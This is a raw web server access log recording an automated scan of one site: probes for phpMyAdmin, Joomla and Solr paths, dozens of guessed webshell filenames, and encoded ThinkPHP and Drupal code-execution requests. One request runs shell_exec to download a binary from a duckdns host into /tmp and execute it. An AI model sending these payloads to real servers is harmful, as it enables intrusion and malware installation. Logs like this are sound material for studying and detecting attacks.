146.196.82.203 - - [02/Feb/2020:23:53:11 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:11 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:12 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:12 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:12 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:13 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:14 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:14 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:14 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:14 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:15 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:15 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:15 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:15 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:16 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:16 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:16 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:16 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:17 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:17 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:17 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:18 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:18 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:18 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:19 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:19 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:19 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:19 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:20 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:20 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:20 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:20 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:20 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:21 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:21 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:21 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:21 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:21 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:22 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:22 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:22 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:22 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:23 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:23 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:23 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:23 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:23 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:24 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:24 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:24 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:24 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:25 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:25 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:25 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:25 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:26 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:26 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:26 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:26 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:26 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:27 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:27 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:27 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [02/Feb/2020:23:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.196.82.203 - - [02/Feb/2020:23:53:27 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:29 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:29 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:30 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:30 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:30 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:30 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:31 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:31 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:31 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:31 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:31 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:32 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:32 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:32 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:33 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:33 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
146.196.82.203 - - [02/Feb/2020:23:53:33 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:53:37 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:53:43 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:53:49 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:53:55 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:54:02 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:54:08 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:54:15 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:54:22 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
146.196.82.203 - - [02/Feb/2020:23:54:27 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [02/Feb/2020:23:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.196.82.203 - - [02/Feb/2020:23:54:27 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
146.196.82.203 - - [02/Feb/2020:23:54:28 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
146.196.82.203 - - [02/Feb/2020:23:54:28 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
146.196.82.203 - - [02/Feb/2020:23:54:28 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
146.196.82.203 - - [02/Feb/2020:23:54:32 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
146.196.82.203 - - [02/Feb/2020:23:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:54:44 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
1.55.150.43 - - [02/Feb/2020:23:54:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
146.196.82.203 - - [02/Feb/2020:23:54:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:54:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:55:02 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:55:08 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
